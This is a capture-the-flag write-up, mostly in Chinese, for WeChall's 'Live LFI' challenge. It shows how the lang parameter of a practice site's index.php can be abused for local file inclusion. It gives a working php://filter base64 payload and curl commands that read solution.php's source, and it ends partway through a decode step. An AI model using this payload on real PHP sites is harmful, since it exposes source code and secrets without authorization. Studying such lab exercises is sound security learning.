WeChall - Warchall - Live LFI
Challenge
One reason why I wanted the warchall box is to offer more realistic webhacking challenges. You may now try the Live LFI challenge that is hosted on it. Good Luck! Warchall 服务器上托管了更接近真实环境的 Web hacking 题目。这个挑战是 Live LFI。
WeChall 页面本身只给出入口和提交框,真正的目标站点是:
1 | https://lfi.warchall.net/index.php |
打开页面后可以看到语言切换链接:
1 | <a href="index.php?lang=en"><img src="english.png" title="English" alt="EN" /></a> |
关键点是 lang
参数。正常情况下它用于选择语言文件,但如果后端直接把它拼进
include,就可能变成 Local File Inclusion。
Solution
先做 baseline:
1 | $ curl -s 'https://lfi.warchall.net/index.php?lang=en' |
页面正常返回英文内容。然后测试 lang 是否能影响 include
目标。这里不需要 SSH,也不需要在服务器上找文件;直接利用 PHP stream
wrapper 读取当前目录下的 solution.php 源码即可。
payload:
1 | https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php |
为什么用 php://filter:
- 直接访问
solution.php只能看到它输出的 HTML,PHP 代码会被服务器执行,不会显示源码。 - LFI 触发的是后端
include,如果包含solution.php,里面的 PHP 仍然会执行,源码同样不可见。 php://filter/convert.base64-encode/resource=solution.php会让 PHP 在读取文件时先把文件内容 base64 编码。这样 include 得到的是纯文本 base64,不会被当作 PHP 代码执行。
实际请求:
1 | $ curl -s 'https://lfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=solution.php' |
把开头连续的 base64 部分解码:
1 | $ python3 - <<'PY' |